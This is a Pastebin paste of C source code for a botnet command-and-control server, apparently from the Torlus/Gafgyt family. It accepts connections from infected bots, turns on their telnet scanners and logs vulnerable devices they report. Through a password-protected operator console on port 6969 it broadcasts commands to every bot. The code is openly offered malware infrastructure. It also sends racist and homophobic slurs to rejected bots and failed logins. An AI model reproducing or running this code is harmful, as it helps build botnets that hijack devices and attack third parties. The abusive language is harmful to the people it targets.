Advertisement
ZucoCheezy

Torlus-Server

Dec 1st, 2018
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 22.24 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MY_MGM_PORT 6969
  16. #define BOTS
  17. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  18.  
  19. struct account {
  20.     char id[20];
  21.     char password[20];
  22. };
  23. static struct account accounts[10];
  24.  
  25. struct clientdata_t {
  26.         uint32_t ip;
  27.         char build[7];
  28.         char connected;
  29. } clients[MAXFDS];
  30.  
  31. struct telnetdata_t {
  32.         int connected;
  33. } managements[MAXFDS];
  34.  
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int managesConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42.  
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45.         int total = 0, got = 1;
  46.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47.         return got;
  48. }
  49.  
  50. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  51. {
  52.     int i;
  53.     int begin = 0;
  54.     int end = strlen(str) - 1;
  55.     while (isspace(str[begin])) begin++;
  56.     while ((end >= begin) && isspace(str[end])) end--;
  57.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  58.     str[i - begin] = '\0';
  59. }
  60.  
  61.  
  62. static int make_socket_non_blocking (int sfd)
  63. {
  64.         int flags, s;
  65.         flags = fcntl (sfd, F_GETFL, 0);
  66.         if (flags == -1)
  67.         {
  68.                 perror ("fcntl");
  69.                 return -1;
  70.         }
  71.         flags |= O_NONBLOCK;
  72.         s = fcntl (sfd, F_SETFL, flags);
  73.         if (s == -1)
  74.         {
  75.                 perror ("fcntl");
  76.                 return -1;
  77.         }
  78.         return 0;
  79. }
  80.  
  81.  
  82. static int create_and_bind (char *port)
  83. {
  84.         struct addrinfo hints;
  85.         struct addrinfo *result, *rp;
  86.         int s, sfd;
  87.         memset (&hints, 0, sizeof (struct addrinfo));
  88.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  89.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  90.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  91.         s = getaddrinfo (NULL, port, &hints, &result);
  92.         if (s != 0)
  93.         {
  94.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95.                 return -1;
  96.         }
  97.         for (rp = result; rp != NULL; rp = rp->ai_next)
  98.         {
  99.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100.                 if (sfd == -1) continue;
  101.                 int yes = 1;
  102.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104.                 if (s == 0)
  105.                 {
  106.                         break;
  107.                 }
  108.                 close (sfd);
  109.         }
  110.         if (rp == NULL)
  111.         {
  112.                 fprintf (stderr, "Could not bind\n");
  113.                 return -1;
  114.         }
  115.         freeaddrinfo (result);
  116.         return sfd;
  117. }
  118.  
  119. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  120. {
  121.         int sendMGM = 1;
  122.         if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  123.         char *wot = malloc(strlen(msg) + 10);
  124.         memset(wot, 0, strlen(msg) + 10);
  125.         strcpy(wot, msg);
  126.         trim(wot);
  127.         time_t rawtime;
  128.         struct tm * timeinfo;
  129.         time(&rawtime);
  130.         timeinfo = localtime(&rawtime);
  131.         char *timestamp = asctime(timeinfo);
  132.         trim(timestamp);
  133.         int i;
  134.         for(i = 0; i < MAXFDS; i++)
  135.         {
  136.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  137.                 if(sendMGM && managements[i].connected)
  138.                 {
  139.                 send(i, "\r\n", 2, MSG_NOSIGNAL);
  140.                 send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  141.                 send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  142.                 send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  143.                 } //just a prompt with a timestamp.
  144.                 printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  145.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  146.         send(i, "\r\n", 2, MSG_NOSIGNAL);
  147.                 if(sendMGM && managements[i].connected) send(i, "[r00t@anti ~]# ", 14, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  148.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  149.         }
  150.         free(wot);
  151. }
  152.  
  153. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  154. {
  155.         struct epoll_event event;
  156.         struct epoll_event *events;
  157.         int s;
  158.         events = calloc (MAXFDS, sizeof event);
  159.         while (1)
  160.         {
  161.                 int n, i;
  162.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  163.                 for (i = 0; i < n; i++)
  164.                 {
  165.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  166.                         {
  167.                                 clients[events[i].data.fd].connected = 0;
  168.                                 close(events[i].data.fd);
  169.                                 continue;
  170.                         }
  171.                         else if (listenFD == events[i].data.fd)
  172.                         {
  173.                                 while (1)
  174.                                 {
  175.                                         struct sockaddr in_addr;
  176.                                         socklen_t in_len;
  177.                                         int infd, ipIndex;
  178.  
  179.                                         in_len = sizeof in_addr;
  180.                                         infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  181.                                         if (infd == -1)
  182.                                         {
  183.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  184.                                                 else
  185.                                                 {
  186.                                                         perror ("accept");
  187.                                                         break;
  188.                                                 }
  189.                                         }
  190.  
  191.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  192.  
  193.                                         int dup = 0;
  194.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  195.                                         {
  196.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  197.  
  198.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  199.                                                 {
  200.                                                         dup = 1;
  201.                                                         break;
  202.                                                 }
  203.                                         }
  204.  
  205.                                         if(dup)
  206.                                         {
  207.                                                 printf("DUP Client - Terminating\n"); // warns the operator on command line
  208.                                                 if(send(infd, "!* FUCKOFFNIGGER\n", 17, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  209.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  210.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211.                                                 close(infd);
  212.                                                 continue;
  213.                                         }
  214.  
  215.                                         s = make_socket_non_blocking (infd);
  216.                                         if (s == -1) { close(infd); break; }
  217.  
  218.                                         event.data.fd = infd;
  219.                                         event.events = EPOLLIN | EPOLLET;
  220.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  221.                                         if (s == -1)
  222.                                         {
  223.                                                 perror ("epoll_ctl");
  224.                                                 close(infd);
  225.                                                 break;
  226.                                         }
  227.  
  228.                                         clients[infd].connected = 1;
  229.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  230.                                 }
  231.                                 continue;
  232.                         }
  233.                         else
  234.                         {
  235.                                 int thefd = events[i].data.fd;
  236.                                 struct clientdata_t *client = &(clients[thefd]);
  237.                                 int done = 0;
  238.                                 client->connected = 1;
  239.                                 while (1)
  240.                                 {
  241.                                         ssize_t count;
  242.                                         char buf[2048];
  243.                                         memset(buf, 0, sizeof buf);
  244.  
  245.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  246.                                         {
  247.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  248.                                                 trim(buf);
  249.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  250.                                                 {
  251.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  252.                                                         continue;
  253.                                                 }
  254.                                                 if(strstr(buf, "BUILD ") == buf)
  255.                                                 {
  256.                                                         char *build = strstr(buf, "BUILD ") + 6;
  257.                                                         if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  258.                                                         memset(client->build, 0, 7);
  259.                                                         strcpy(client->build, build);
  260.                                                         continue;
  261.                                                 }
  262.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  263.                                                 {
  264.                                                         char *line = strstr(buf, "REPORT ") + 7;
  265.                                                         fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  266.                                                         fflush(telFD);
  267.                                                         TELFound++;
  268.                                                         continue;
  269.                                                 }
  270.                                                 if(strstr(buf, "SCANNER STARTED!") == buf)
  271.                                                 {
  272.                                                         char *line = strstr(buf, "SCANNER STARTED!");
  273.                                                         scannerreport = 1;
  274.                                                         continue;
  275.                                                 }
  276.                                                 if(strstr(buf, "SCANNER STOPPED!") == buf)
  277.                                                 {
  278.                                                         char *line = strstr(buf, "SCANNER STOPPED!");
  279.                                                         scannerreport--;
  280.                                                         continue;
  281.                                                 }
  282.                                                 if(strcmp(buf, "PONG") == 0)
  283.                                                 {
  284.                                                         //should really add some checking or something but meh
  285.                                                         continue;
  286.                                                 }
  287.  
  288.                                                 printf("buf: \"%s\"\n", buf);
  289.                                         }
  290.  
  291.                                         if (count == -1)
  292.                                         {
  293.                                                 if (errno != EAGAIN)
  294.                                                 {
  295.                                                         done = 1;
  296.                                                 }
  297.                                                 break;
  298.                                         }
  299.                                         else if (count == 0)
  300.                                         {
  301.                                                 done = 1;
  302.                                                 break;
  303.                                         }
  304.                                 }
  305.  
  306.                                 if (done)
  307.                                 {
  308.                                         client->connected = 0;
  309.                                         close(thefd);
  310.                                 }
  311.                         }
  312.                 }
  313.         }
  314. }
  315.  
  316. unsigned int clientsConnected() // counts the number of bots
  317. {
  318.         int i = 0, total = 0;
  319.         for(i = 0; i < MAXFDS; i++)
  320.         {
  321.                 if(!clients[i].connected) continue;
  322.                 total++;
  323.         }
  324.  
  325.         return total;
  326. }
  327.  
  328. void *titleWriter(void *sock) // Information in the window title ya know
  329. {
  330.         int thefd = (int)sock;
  331.         char string[2048];
  332.         while(1)
  333.         {
  334.                 memset(string, 0, 2048);
  335.                 sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  336.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  337.  
  338.                 sleep(2);
  339.         }
  340. }
  341.  
  342.  
  343. void *telnetWorker(void *sock, void *telnetListener)
  344. {
  345.         int thefd = (int)sock;
  346.         managesConnected++;
  347.         pthread_t title;
  348.         char counter[2048];
  349.         memset(counter, 0, 2048);
  350.         char buf[2048];
  351.         char* nickstring;
  352.         char* username;
  353.         char* password;
  354.         memset(buf, 0, sizeof buf);
  355.         char botnet[2048];
  356.         memset(botnet, 0, 2048);
  357.    
  358.         //GET ACCOUNTS FROM FILE
  359.         FILE *fp;
  360.         int i=0;
  361.         int c;
  362.         fp=fopen("login.txt", "r");
  363.         while(!feof(fp)) {
  364.         c=fgetc(fp);
  365.         ++i;
  366.         }
  367.         int j=0;
  368.         rewind(fp);
  369.         while(j!=i-1) {
  370.         fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  371.         ++j;
  372.         }
  373.         //END FILE LOADING
  374.      
  375.         FILE *fd;
  376.         int line_num = 0;
  377.         int find_result = 0;
  378.         char temp[512];
  379.        
  380.         if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  381.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;               
  382.         trim(buf);
  383.         nickstring = ("%s", buf);
  384.         if((fd = fopen("login.txt", "r")) == NULL) {
  385.         return(-1);
  386.         }
  387.         while(fgets(temp, 512, fd) != NULL) {
  388.         if((strstr(temp, nickstring)) != NULL) {
  389.         printf("A match found on line: %d\n", line_num);
  390.         printf("\n%s\n", temp);
  391.         find_result++;
  392.         }
  393.         line_num++;
  394.         }
  395.         if(find_result == 0) {
  396.           printf("\nSorry, couldn't find a match.\n");
  397.         }
  398.         username = printf("accounts[%d].id\n",line_num);
  399.         if(strcmp(nickstring, username) == 0){ 
  400.            
  401.            
  402.                        
  403.         if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  404.         if(send(thefd, "\x1b[32m*           VALID USERNAME             *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  405.         if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  406.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  407.         trim(buf);
  408.         if(strcmp(buf, accounts[0].password) != 0) goto failed;
  409.         memset(buf, 0, 2048);
  410.         goto fak;
  411.         }
  412.         failed:
  413.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  414.         if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  415.         if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS         *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  416.         if(send(thefd, "\x1b[31m*        FUCK OFF FAGGOT, LOGGED       *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  417.         if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  418.         sleep(5);
  419.         goto end;
  420.         fak:
  421.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  422.         if(send(thefd, "\x1b[1m\x1b[36m****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  423.         if(send(thefd, "*         \x1b[37mWELCOME TO ANTI'S SHIT\x1b[36m       *\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  424.         if(send(thefd, "*           \x1b[37m\x1b[31mIn the FBI we trust\x1b[31m\x1b[36m        *\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  425.         if(send(thefd, "*       \x1b[37m\x1b[31mNow with Ceiling Fan support\x1b[31m\x1b[36m   *\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  426.         if(send(thefd, "******************************\r\n\x1b[36m\x1b[37m", 43, MSG_NOSIGNAL) == -1) goto end;
  427.         pthread_create(&title, NULL, &titleWriter, sock);
  428.         managements[thefd].connected = 1;
  429.    
  430.        if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  431.    
  432.        if(send(thefd, "\r\n[r00t@anti ~]# ", 17, MSG_NOSIGNAL) == -1) goto end;
  433.        while(fdgets(buf, sizeof buf, thefd) > 0)
  434.        {
  435.        if(strstr(buf, "!* STATUS"))
  436.        {
  437.           sprintf(botnet, "Telnet Devices: %d | Telnet Status: %d\r\n", TELFound, scannerreport);
  438.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  439.             }
  440.                 trim(buf);
  441.                 if(send(thefd, "[r00t@anti ~]# ", 14, MSG_NOSIGNAL) == -1) goto end;
  442.                 if(strlen(buf) == 0) continue;
  443.                 printf("%s: \"%s\"\n",accounts[0].id, buf);
  444.                 FILE *logFile;
  445.                 logFile = fopen("server.log", "a");
  446.                 fprintf(logFile, "%s: \"%s\"\n",accounts[0].id, buf);
  447.                 fclose(logFile);
  448.                 broadcast(buf, thefd);
  449.                 memset(buf, 0, 2048);
  450.            }
  451.  
  452.         end:    // cleanup dead socket
  453.                 managements[thefd].connected = 0;
  454.                 close(thefd);
  455.                 managesConnected--;
  456. }
  457.  
  458. void *telnetListener(void *useless)
  459. {
  460.         int sockfd, newsockfd;
  461.         socklen_t clilen;
  462.         struct sockaddr_in serv_addr, cli_addr;
  463.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  464.         if (sockfd < 0) perror("ERROR opening socket");
  465.         bzero((char *) &serv_addr, sizeof(serv_addr));
  466.         serv_addr.sin_family = AF_INET;
  467.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  468.         serv_addr.sin_port = htons(MY_MGM_PORT);
  469.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  470.         listen(sockfd,5);
  471.         clilen = sizeof(cli_addr);
  472.         while(1)
  473.         {
  474.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  475.                 if (newsockfd < 0) perror("ERROR on accept");
  476.                 pthread_t thread;
  477.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  478.         }
  479. }
  480.  
  481. int main (int argc, char *argv[], void *sock)
  482. {
  483.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  484.  
  485.         int s, threads;
  486.         struct epoll_event event;
  487.  
  488.         if (argc != 3)
  489.         {
  490.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  491.                 exit (EXIT_FAILURE);
  492.         }
  493.         telFD = fopen("telnet.txt", "a+");
  494.         threads = atoi(argv[2]);
  495.  
  496.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  497.         if (listenFD == -1) abort ();
  498.  
  499.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  500.         if (s == -1) abort ();
  501.  
  502.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  503.         if (s == -1)
  504.         {
  505.                 perror ("listen");
  506.                 abort ();
  507.         }
  508.  
  509.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  510.         if (epollFD == -1)
  511.         {
  512.                 perror ("epoll_create");
  513.                 abort ();
  514.         }
  515.  
  516.         event.data.fd = listenFD;
  517.         event.events = EPOLLIN | EPOLLET;
  518.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  519.         if (s == -1)
  520.         {
  521.                 perror ("epoll_ctl");
  522.                 abort ();
  523.         }
  524.  
  525.         pthread_t thread[threads + 2];
  526.         while(threads--)
  527.         {
  528.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  529.         }
  530.  
  531.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  532.  
  533.         while(1)
  534.         {
  535.                 broadcast("PING", -1); // ping bots every 60 sec on the main thread
  536.  
  537.                 sleep(60);
  538.         }
  539.  
  540.         close (listenFD);
  541.  
  542.         return EXIT_SUCCESS;
  543. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement